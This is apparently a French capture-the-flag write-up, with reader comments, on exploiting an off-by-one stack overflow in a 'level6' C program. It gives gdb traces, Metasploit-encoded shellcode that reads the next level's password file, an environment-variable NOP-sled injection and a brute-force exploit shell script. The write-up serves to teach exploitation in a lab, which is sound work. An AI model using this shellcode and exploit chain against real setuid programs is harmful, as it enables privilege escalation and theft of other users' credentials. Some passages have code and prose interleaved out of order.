L'intérêt de l'article réside dans la compréhension de la gestion des adresses de retour sur la pile.
le buffer overflow
voyons le source de l'exécutable:
level6@srv-public:~$ cat level6.cNous constatons la présence d'une protection. La longueur du buffer donné en argument à la fonction layer() est controlée:
#include < stdlib.h>
#include < stdio.h>
#include < string.h>
// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
int layer(char *arg){
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}
int main(int argc, char *argv[])
{
if(!argv[1]) return;
layer(argv[1]);
return 0;
}
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x129')pour un argument de taille inférieure strictement à 128, le programme quitte normalement:
Aww noes you'r crazy !
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x127')
cependant pour un argument de 128 octets exactement, nous constatons une erreur :
level6@srv-public:~$ ./level6 $(perl -e 'print "A"x128')
Instruction non permise
Explication générale
Voyons où se situe l'erreur. Nous utilisons gdb.
avec 128 octets en argument:
level6@srv-public:~$ gdb ./level6Remarque: nous réutiliserons un peu plus tard l'adresse 0xbffff704, qui se trouve 20 octets après le début de notre buffer.
(gdb) disassemble main
Dump of assembler code for function main:
0x080484b0 <+0>: push %ebp
0x080484b1 <+1>: mov %esp,%ebp
0x080484b3 <+3>: sub $0x4,%esp
0x080484b6 <+6>: mov 0xc(%ebp),%eax
0x080484b9 <+9>: add $0x4,%eax
0x080484bc <+12>: mov (%eax),%eax
0x080484be <+14>: test %eax,%eax
0x080484c0 <+16>: jne 0x80484c4
0x080484c2 <+18>: jmp 0x80484d9
0x080484c4 <+20>: mov 0xc(%ebp),%eax
0x080484c7 <+23>: add $0x4,%eax
0x080484ca <+26>: mov (%eax),%eax
0x080484cc <+28>: mov %eax,(%esp)
0x080484cf <+31>: call 0x8048464
0x080484d4 <+36>: mov $0x0,%eax
0x080484d9 <+41>: leave
0x080484da <+42>: ret
End of assembler dump.
(gdb) break * main+42
Breakpoint 1 at 0x80484da
(gdb) run $(perl -e 'print "A"x128')
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484da in main ()
(gdb) info registers $esp
esp 0xbffff704 0xbffff704
(gdb) x/192x $esp-32
0xbffff6e4: 0xbffff6ec 0xbffff922 0x41414141 0x41414141
0xbffff6f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff704: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff714: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff724: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff734: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff744: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff754: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff764: 0x41414141 0x41414141 0xbffff700 0x080484d4 <-- \x00 en 0xbffff76b
0xbffff774: 0xbffff922 0xbffff7d8 0xb7ea4c85 0x00000002
0xbffff784: 0xbffff804 0xbffff810 0xb7fe0b48 0x00000001
0xbffff794: 0x00000001 0x00000000 0x08048281 0xb7fd5ff4
0xbffff7a4: 0x080484f0 0x080483b0 0xbffff7d8 0x7a73011e
0xbffff7b4: 0x5104950e 0x00000000 0x00000000 0x00000000
0xbffff7c4: 0xb7ff6270 0xb7ea4bad 0xb7ffeff4 0x00000002
0xbffff7d4: 0x080483b0 0x00000000 0x080483d1 0x080484b0
0xbffff7e4: 0x00000002 0xbffff804 0x080484f0 0x080484e0
0xbffff7f4: 0xb7ff0fd0 0xbffff7fc 0xb7ffc793 0x00000002
0xbffff804: 0xbffff90e 0xbffff922 0x00000000 0xbffff9a3
0xbffff814: 0xbffff9b3 0xbffff9be 0xbffff9df 0xbffff9f2
0xbffff824: 0xbffff9fe 0xbffffeee 0xbffffef9 0xbfffff26
0xbffff834: 0xbfffff3c 0xbfffff4b 0xbfffff5c 0xbfffff6c
0xbffff844: 0xbfffff75 0xbfffff8c 0xbfffff9e 0xbfffffa6
0xbffff854: 0xbfffffb5 0x00000000 0x00000020 0xb7fe1414
0xbffff864: 0x00000021 0xb7fe1000 0x00000010 0x0febfbff
0xbffff874: 0x00000006 0x00001000 0x00000011 0x00000064
0xbffff884: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffff894: 0x00000005 0x00000007 0x00000007 0xb7fe2000
0xbffff8a4: 0x00000008 0x00000000 0x00000009 0x080483b0
0xbffff8b4: 0x0000000b 0x000003ee 0x0000000c 0x000003ee
0xbffff8c4: 0x0000000d 0x000003ee 0x0000000e 0x000003ee
0xbffff8d4: 0x00000017 0x00000000 0x0000000f 0xbffff8fb
0xbffff8e4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff8f4: 0x00000000 0x69000000 0x00363836 0x00000000
0xbffff904: 0x00000000 0x00000000 0x682f0000 0x2f656d6f
0xbffff914: 0x6576656c 0x6c2f366c 0x6c657665 0x41410036
0xbffff924: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff934: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff944: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff954: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff964: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff974: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff984: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff994: 0x41414141 0x41414141 0x41414141 0x53004141
0xbffff9a4: 0x4c4c4548 0x69622f3d 0x61622f6e 0x54006873
Avec 127 octets en argument:
(gdb) run $(perl -e 'print "A"x127')L'écart entre les deux hauts de la pile, dans les cas 127 et 128 octets, est de 120 octets ( 0xbffff7c - 0xbffff704). Pourquoi les hauts de pile diffèrent-t-il? Nous verrons cela en détail un peu plus tard. Expliquons tout d'abord l'erreur du programmeur.
Starting program: /home/level6/level6 $(perl -e 'print "A"x127')
Breakpoint 1, 0x080484da in main ()
(gdb) info registers $esp
esp 0xbffff77c 0xbffff77c
(gdb) x/192x $esp-32
0xbffff75c: 0x41414141 0x41414141 0x41414141 0x00414141 <-- \x00 en 0xbffff76b
0xbffff76c: 0xbffff778 0x080484d4 0xbffff923 0xbffff7d8
0xbffff77c: 0xb7ea4c85 0x00000002 0xbffff804 0xbffff810
0xbffff78c: 0xb7fe0b48 0x00000001 0x00000001 0x00000000
0xbffff79c: 0x08048281 0xb7fd5ff4 0x080484f0 0x080483b0
0xbffff7ac: 0xbffff7d8 0xecc3010f 0xc7b4951f 0x00000000
0xbffff7bc: 0x00000000 0x00000000 0xb7ff6270 0xb7ea4bad
0xbffff7cc: 0xb7ffeff4 0x00000002 0x080483b0 0x00000000
0xbffff7dc: 0x080483d1 0x080484b0 0x00000002 0xbffff804
0xbffff7ec: 0x080484f0 0x080484e0 0xb7ff0fd0 0xbffff7fc
0xbffff7fc: 0xb7ffc793 0x00000002 0xbffff90f 0xbffff923
0xbffff80c: 0x00000000 0xbffff9a3 0xbffff9b3 0xbffff9be
0xbffff81c: 0xbffff9df 0xbffff9f2 0xbffff9fe 0xbffffeee
0xbffff82c: 0xbffffef9 0xbfffff26 0xbfffff3c 0xbfffff4b
0xbffff83c: 0xbfffff5c 0xbfffff6c 0xbfffff75 0xbfffff8c
0xbffff84c: 0xbfffff9e 0xbfffffa6 0xbfffffb5 0x00000000
0xbffff85c: 0x00000020 0xb7fe1414 0x00000021 0xb7fe1000
0xbffff86c: 0x00000010 0x0febfbff 0x00000006 0x00001000
0xbffff87c: 0x00000011 0x00000064 0x00000003 0x08048034
0xbffff88c: 0x00000004 0x00000020 0x00000005 0x00000007
0xbffff89c: 0x00000007 0xb7fe2000 0x00000008 0x00000000
0xbffff8ac: 0x00000009 0x080483b0 0x0000000b 0x000003ee
0xbffff8bc: 0x0000000c 0x000003ee 0x0000000d 0x000003ee
---Typeto continue, or q to quit---
0xbffff8cc: 0x0000000e 0x000003ee 0x00000017 0x00000000
0xbffff8dc: 0x0000000f 0xbffff8fb 0x00000000 0x00000000
0xbffff8ec: 0x00000000 0x00000000 0x00000000 0x69000000
0xbffff8fc: 0x00363836 0x00000000 0x00000000 0x00000000
0xbffff90c: 0x2f000000 0x656d6f68 0x76656c2f 0x2f366c65
0xbffff91c: 0x6576656c 0x4100366c 0x41414141 0x41414141
0xbffff92c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff93c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff94c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff95c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff96c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff97c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff98c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff99c: 0x41414141 0x53004141 0x4c4c4548 0x69622f3d
l'erreur de programmation réside dans l'oubli du caractère NULL à la fin d'une chaîne
buf[] est un tableau de 128 caractères.La protection sur la longueur concerne toute chaîne de 129 ou + caractères.
Lorsque nous soumettons une chaîne de 128 caractères, elle passe donc bien la protection. Cependant, c'est en fait une chaîne de 129 caractères (128 'A' + NULL) qui est copiée dans le buffer.
L'octet qui suit immédiatement le buffer buf[] est donc écrasé et remplacé par 0x00.
Rappelons nous le fonctionnement de la pile à l'appel de la fonction layer():
+--------------------------+
| buf | <- le buffer est déclaré juste après push EBP
+--------------------------+
| $EBP | <- push EBP est la première instruction de la fonction layer()
+--------------------------+
| $EIP | <- EIP est empilé par Main() avant l'appel de layer()
+--------------------------+
C'est donc le dernier octet du registre $EBP de Main() (qui comporte 4 octets) qui est écrasé.
Or cette adresse $EBP correspond au bas de la pile de la fonction Main(). La conséquence est donc un décalage sur la pile après la sortie de layer().
Revenons à notre code source:
int main(int argc, char *argv[])Après la fonction layer(), le programme veut récupérer la valeur d'EIP, qui avait été empilée avant l'appel de la fonction main(), afin de sortir de main(). Comme il y a un décalage, cet EIP est faux et le programme SEGFAULT.
{
if(!argv[1]) return;
layer(argv[1]);
return 0;
}
Voyons à présent en détail cette explication. Nous allons commencer un jeu de piste:
Explication détaillée
Pourquoi $esp est il erroné à l'appel de l'instruction RET dans main()?
Voyons à quel moment les deux hauts de piles diffèrent entre les arguments de 127 et 128 octets.
Posons un breakpoint à la fin de la fonction layer et comparons les $esp:
(gdb) disassemble layer
Dump of assembler code for function layer:
(...)
0x080484ae <+74>: leave
0x080484af <+75>: ret
End of assembler dump.
(gdb) break * layer+75
Breakpoint 1 at 0x80484af
avec 127 octets:
(gdb) run $(perl -e 'print "A"x127')avec 128 octets:
Starting program: /home/level6/level6 $(perl -e 'print "A"x127')
Breakpoint 1, 0x080484af in layer ()
(gdb) info registers $esp
esp 0xbffff770 0xbffff770
(gdb) run $(perl -e 'print "A"x128')Nous constatons qu'à ce stade de l'exécution, la pile est identique pour les deux cas.
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484af in layer ()
(gdb) info registers $esp
esp 0xbffff770 0xbffff770
Continuons à chercher (toujours avec 128 octets comme argument):
(gdb) stepiNous sommes juste avant l'instruction leave:
0x080484d4 in main ()
(gdb) info registers $esp
esp 0xbffff774 0xbffff774
(gdb) stepi
0x080484d9 in main ()
(gdb) disassemble mainNous sommes à présent juste avant l'instruction ret:
(...)
0x080484cf <+31>: call 0x8048464
0x080484d4 <+36>: mov $0x0,%eax
=> 0x080484d9 <+41>: leave
0x080484da <+42>: ret
(gdb) info registers $esp
esp 0xbffff774 0xbffff774
(gdb) x/x $esp
0xbffff774: 0xbffff922
(gdb) x/48x 0xbffff922
0xbffff922: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff932: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff942: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff952: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff962: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff972: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff982: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff992: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a2: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162
(gdb) stepi
0x080484da in main ()
(gdb) disassemble mainLe registre $esp diffère donc juste après l'appel de l'instruction "leave".
(...)
0x080484cf <+31>: call 0x8048464
0x080484d4 <+36>: mov $0x0,%eax
0x080484d9 <+41>: leave
=> 0x080484da <+42>: ret
(gdb) info registers $esp
esp 0xbffff704 0xbffff704
(gdb) info registers $ebp
ebp 0x41414141 0x41414141
Une recherche google nous précise le rôle de "leave" (cf http://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax):
leave: This line, typically found at the end of subroutines, frees the space saved on the stack by copying EBP into ESP, then popping the saved value of EBP back to EBP.donc leave = ESP <- EBP + POP [EBP]
ret: This line returns control to the calling procedure by popping the saved instruction pointer from the stack.
Donc $ESP est erroné à l'appel de l'instruction RET dans main() parce que $EBP (0xbffff704), qui est placé dans ESP par l'instruction LEAVE, est erroné. Pourquoi $EBP est il erroné?
Pourquoi $EBP est il erroné avant l'instruction LEAVE de main()?
Recherchons à quel moment la valeur 0xbffff704 est placée dans $EBPPlacons un breakpoint juste avant l'apple de l'instruction LEAVE de la fonction layer()
(gdb) break * layer+74
Breakpoint 4 at 0x80484ae
(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 4, 0x080484ae in layer ()
(gdb) disassemble layer
Dump of assembler code for function layer:
0x08048464 <+0>: push %ebp
0x08048465 <+1>: mov %esp,%ebp
0x08048467 <+3>: sub $0x88,%esp
0x0804846d <+9>: mov 0x8(%ebp),%eax
0x08048470 <+12>: mov %eax,(%esp)
0x08048473 <+15>: call 0x8048368
0x08048478 <+20>: cmp $0x80,%eax
0x0804847d <+25>: jbe 0x8048497
0x0804847f <+27>: movl $0x80485a0,(%esp)
0x08048486 <+34>: call 0x8048388
0x0804848b <+39>: movl $0x0,(%esp)
0x08048492 <+46>: call 0x8048398
0x08048497 <+51>: mov 0x8(%ebp),%eax
0x0804849a <+54>: mov %eax,0x4(%esp)
0x0804849e <+58>: lea -0x80(%ebp),%eax
0x080484a1 <+61>: mov %eax,(%esp)
0x080484a4 <+64>: call 0x8048378
0x080484a9 <+69>: mov $0x0,%eax
=> 0x080484ae <+74>: leave
0x080484af <+75>: ret
End of assembler dump.
(gdb) info registers $ebp
ebp 0xbffff76c 0xbffff76c
(gdb) x/x 0xbffff76c
0xbffff76c: 0xbffff700
Puis exécutions l'instruction leave:
(gdb) stepiDonc $EBP est erroné avant l'instruction LEAVE de main() parce que $EBP est déjà erroné à l'appel de l'instruction LEAVE de la fonction layer().
(gdb) info registers $ebp
ebp 0xbffff700 0xbffff700
Pourquoi $EBP est il erroné avant l'instruction LEAVE de layer()?
rappel sur l'instruction "leave" (cf http://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax):leave: This line, typically found at the end of subroutines, frees the space saved on the stack by copying EBP into ESP, then popping the saved value of EBP back to EBP.La valeur d'EBP sauvegardée au tout début de l'appel de la fonction layer() est popée dans $ebp. En effet nous nous rappelons que juste avant l'appel de LEAVE dans la fonction layer(), nous avions:
ret: This line returns control to the calling procedure by popping the saved instruction pointer from the stack.
(gdb) info registers $ebpDonc $EBP est erroné avant l'instruction LEAVE de layer() parceque la valeur à l'adresse 0xbffff76c est erronée. Sa valeur est 0xbffff700. Quand cette valeur est-elle définie?
ebp 0xbffff76c 0xbffff76c
(gdb) x/x 0xbffff76c
0xbffff76c: 0xbffff700
Quand la valeur 0xbffff700 est elle pushée sur la pile à l'adresse 0xbffff76c ?
placons un breakpoint au début de la fonction layer() et vérifions pas à pas le contenu à l'adresse 0xbffff76c.(gdb) break * layerPour l'instant, la valeur à l'adresse 0xbffff76c est différente de celle que nous cherchons. Par contre, nous remarquons que le haut de la pile est à l'adresse 0xbffff770. Nous verrons plus tard que cette information est intéressante.
Breakpoint 5 at 0x8048464
(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 5, 0x08048464 in layer ()
(gdb) disassemble layer
Dump of assembler code for function layer:
=> 0x08048464 <+0>: push %ebp
0x08048465 <+1>: mov %esp,%ebp
0x08048467 <+3>: sub $0x88,%esp
0x0804846d <+9>: mov 0x8(%ebp),%eax
0x08048470 <+12>: mov %eax,(%esp)
0x08048473 <+15>: call 0x8048368
0x08048478 <+20>: cmp $0x80,%eax
0x0804847d <+25>: jbe 0x8048497
0x0804847f <+27>: movl $0x80485a0,(%esp)
0x08048486 <+34>: call 0x8048388
0x0804848b <+39>: movl $0x0,(%esp)
0x08048492 <+46>: call 0x8048398
0x08048497 <+51>: mov 0x8(%ebp),%eax
0x0804849a <+54>: mov %eax,0x4(%esp)
0x0804849e <+58>: lea -0x80(%ebp),%eax
0x080484a1 <+61>: mov %eax,(%esp)
0x080484a4 <+64>: call 0x8048378
0x080484a9 <+69>: mov $0x0,%eax
0x080484ae <+74>: leave
0x080484af <+75>: ret
End of assembler dump.
(gdb) info registers $esp
esp 0xbffff770 0xbffff770
(gdb) x/x 0xbffff76c
0xbffff76c: 0xb7fd5ff4
Placons un breakpoint avant l'appel de la fonction strcpy():
(gdb) break * layer+64
Breakpoint 6 at 0x80484a4
(gdb) run $(perl -e 'print "A"x128')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 6, 0x080484a4 in layer ()
(gdb) disassemble layer
(...)
0x0804849e <+58>: lea -0x80(%ebp),%eax
0x080484a1 <+61>: mov %eax,(%esp)
=> 0x080484a4 <+64>: call 0x8048378
0x080484a9 <+69>: mov $0x0,%eax
0x080484ae <+74>: leave
0x080484af <+75>: ret
End of assembler dump.
(gdb) x/x 0xbffff76c
0xbffff76c: 0xbffff778
Puis voyons ce qui se passe juste après la fonction strcpy():
(gdb) nexti
0x080484a9 in layer ()
(gdb) disassemble layer
(...)
0x0804849e <+58>: lea -0x80(%ebp),%eax
0x080484a1 <+61>: mov %eax,(%esp)
0x080484a4 <+64>: call 0x8048378
=> 0x080484a9 <+69>: mov $0x0,%eax
0x080484ae <+74>: leave
0x080484af <+75>: ret
End of assembler dump.
(gdb) x/x 0xbffff76c
0xbffff76c: 0xbffff770
Nous constatons que la fonction strcpy a modifié la valeur à l'adresse 0xbffff76c de 0xbffff778 à 0xbffff770.
Donc la valeur 0xbffff700 est pushée sur la pile à l'adresse 0xbffff76c par la fonction strcpy().
Pourquoi strcpy() modifie-t-elle la valeur de l'EBP sauvegardé par la fonction layer()?
Recommencons en nous intéressant à l'état de la pile avant et après strcpy(gdb) run $(perl -e 'print "A"x128')avant strcpy():
Starting program: /home/level6/level6 $(perl -e 'print "A"x128')
Breakpoint 1, 0x080484a4 in layer ()
(gdb) nexti
0x080484a9 in layer ()
(gdb) x/128x $esp-32
0xbffff6c4: 0xbffff76c 0xb7ff6270 0xbffff7a0 0xb7f02300
0xbffff6d4: 0xbffff922 0xb7fff8f8 0x080484f0 0x08048478
0xbffff6e4: 0xbffff6ec 0xbffff922 0xbffff7b0 0xb7fff8f8
0xbffff6f4: 0x08048281 0xb7fd41ec 0x00000000 0x00000000
0xbffff704: 0xb7f0b600 0x00000003 0x00000000 0x00001001
0xbffff714: 0x00000000 0x00000000 0x00000000 0x00004000
0xbffff724: 0xb7ebd845 0x00000001 0x00020800 0x00000000
0xbffff734: 0x0000000a 0xb7fd6cc0 0xb7fd5ff4 0xb7ff0fd0
0xbffff744: 0x080496a4 0xbffff758 0x08048334 0xb7fd6304
0xbffff754: 0x080496a4 0xbffff778 0x08048509 0xb7ebda45
0xbffff764: 0xb7ff0fd0 0x080484fb 0xbffff778 0x080484d4
0xbffff774: 0xbffff922 0xbffff7d8 0xb7ea4c85 0x00000002
0xbffff784: 0xbffff804 0xbffff810 0xb7fe0b48 0x00000001
après strcpy()
(gdb) x/128x $esp-32
0xbffff6c4: 0xbffff76c 0xb7ff6270 0x00000004 0xb7f01d40
0xbffff6d4: 0x080484f0 0x080483b0 0xbffff76c 0x080484a9
0xbffff6e4: 0xbffff6ec 0xbffff922 0x41414141 0x41414141
0xbffff6f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff704: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff714: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff724: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff734: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff744: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff754: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff764: 0x41414141 0x41414141 0xbffff700 0x080484d4
0xbffff774: 0xbffff922 0xbffff7d8 0xb7ea4c85 0x00000002
0xbffff784: 0xbffff804 0xbffff810 0xb7fe0b48 0x00000001
Nous constatons que strcpy() a copié un octet de trop et a ainsi modifié le contenu de l'adresse 0xbffff76c de 0xbffff778 à 0xbffff700. Nous avons donc alors un décallage de 0x78 = 120 octets dans cette adresse.
pourquoi strcpy() copie-t-elle un caractère de trop?
revenons à notre code source:int layer(char *arg){notre buffer buf[] peut recevoir 128 caractères.
if(strlen(arg)>128) {
printf("Aww noes you'r crazy !\n");
exit(0);
}
char buf[128];
strcpy(buf, arg);
return 0;
}
Or une chaîne de caractères passée en argument en contient 129: 128 'A' et un caractère NULL. C'est ce caractère NULL qui écrase le dernier octet de l'EBP sauvegardé par l'appel de layer().
payload
Nous utilisons Metasploit:$ msfconsole
msf > use payload/linux/x86/exec
msf payload(exec) > set ENCODER x86/alpha_mixed
ENCODER => x86/alpha_mixed
msf payload(exec) > set CMD "cat ../level7/passwd"
CMD => cat ../level7/passwd
msf payload(exec) > generate
# linux/x86/exec - 173 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=cat ../level7/passwd
buf =
"\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50" +
"\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44" +
"\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45" +
"\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43" +
"\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46" +
"\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50" +
"\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44" +
"\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48" +
"\x4d\x4b\x30\x41\x41"
d'où notre payload:
"\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48\x4d\x4b\x30\x41\x41"
injection dans une variable d'environnement
Nous avons besoin de l'exécutable getenvaddress (vu au level5, ne pas oublier d'enlever les espaces ajoutés dans les #include à cause de blogger) :
level6@srv-public:~$ vim /tmp/getenvaddress.c
// getenvaddress.c
// thanks Niklos !!
// usage: inject 'NOMDELAVARIABLEDENVIRONNEMENT'
#include < stdio.h>
#include < stdlib.h>
#include < string.h>
int main(int argc, char **argv) {
char *ptr;
ptr = getenv(argv[1]);
if( ptr == NULL )
printf("%s not found\n", argv[1]);
else printf("%s found at %08x\n", argv[1], (unsigned int)ptr);
return 0;
}
compilons (rappel: enlever les espaces dans #include) :
level6@srv-public:~$ gcc -Wall -o /tmp/getenvaddress /tmp/getenvaddress.c
injectons en ajoutant des NOP:
export LOL=$(perl -e 'print "\x90"x200 . "\xda\xc8\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50\x6a\x44\x4b\x46\x38\x4a\x39\x43\x62\x50\x66\x45\x38\x46\x4d\x51\x73\x4d\x59\x4a\x47\x45\x38\x44\x6f\x51\x63\x45\x38\x43\x30\x43\x58\x44\x6f\x45\x32\x45\x39\x50\x6e\x4e\x69\x48\x63\x50\x52\x4a\x48\x45\x45\x43\x30\x43\x30\x43\x30\x45\x33\x43\x51\x43\x44\x47\x50\x46\x4e\x46\x4e\x44\x6f\x42\x4c\x45\x35\x50\x76\x43\x55\x50\x6c\x50\x37\x46\x4f\x44\x30\x50\x61\x44\x33\x44\x33\x44\x37\x50\x64\x45\x50\x50\x57\x46\x33\x4f\x79\x48\x61\x48\x4d\x4b\x30\x41\x41"')
récupérons l'adresse:
level6@srv-public:~$ /tmp/getenvaddress LOLNous choisirons comme adresse 0xbffffe6e (16 octets plus loin, pour sauter dans les NOPs).
LOL found at bffffe5e
où placer l'adresse de notre payload?
Nous avons vu au début de l'article que l'adresse 0xbffff704 était intéressante et qu'elle se situait 20 octets après le début de notre chaîne. C'est ici que le programme cherche l'EIP sauvegardé avant l'appel de main(). C'est donc ici que nous allons placer l'adresse de notre payload.Nous avons vu que cette adresse tombe au milieu de buf[] sur la pile. Heureux hasard! (merci les concepteurs de l'épreuve ;)
Cependant, il y a souvent des différences sur les adresses de pile entre gdb et le programme exécuté. Nous allons donc faire plusieurs essais pour placer l'adresse de notre payload dans la chaine, grace à un script
exploitation
Voici notre script. Il place successivement le début de l'adresse de saut sur chaque octet de notre buffer.
level6@srv-public:~$ vim /tmp/exploit.shDeux remarques sur le script:
#!/bin/sh
trap "" 11
for (( i=1; i<125; i++ )); do
j=$((124-$i))
./level6 $(perl -e "print 'A'x$i . \"\x6e\xfe\xff\xbf\" . 'A'x$j") | grep -v segmentation
done
level6@srv-public:~$ chmod +x /tmp/exploit.sh
level6@srv-public:~$ /tmp/exploit.sh
MOT DE PASSE
trap "" 11 signifie "ne rien faire en cas de signal SIGSEGV "
grep -v segmentation signifie "afficher toutes les lignes sauf celles contenant 'segmentation'"
références
gestion des signaux en shell - http://www.christopher.compagnon.name/sitewww/shell-trap.htmlpour connaitre la liste des signaux : $ trap -l
Beau boulot, c'était donc bien un off-by-one :]. Je l'avais fait brutus perso' haha.
RépondreSupprimerN'empêche c'est une beauté l'off-by-one :].
On crafte notre stack frame pour own EIP :).
Idem^^ Merci pour l'explication détaillée.
RépondreSupprimer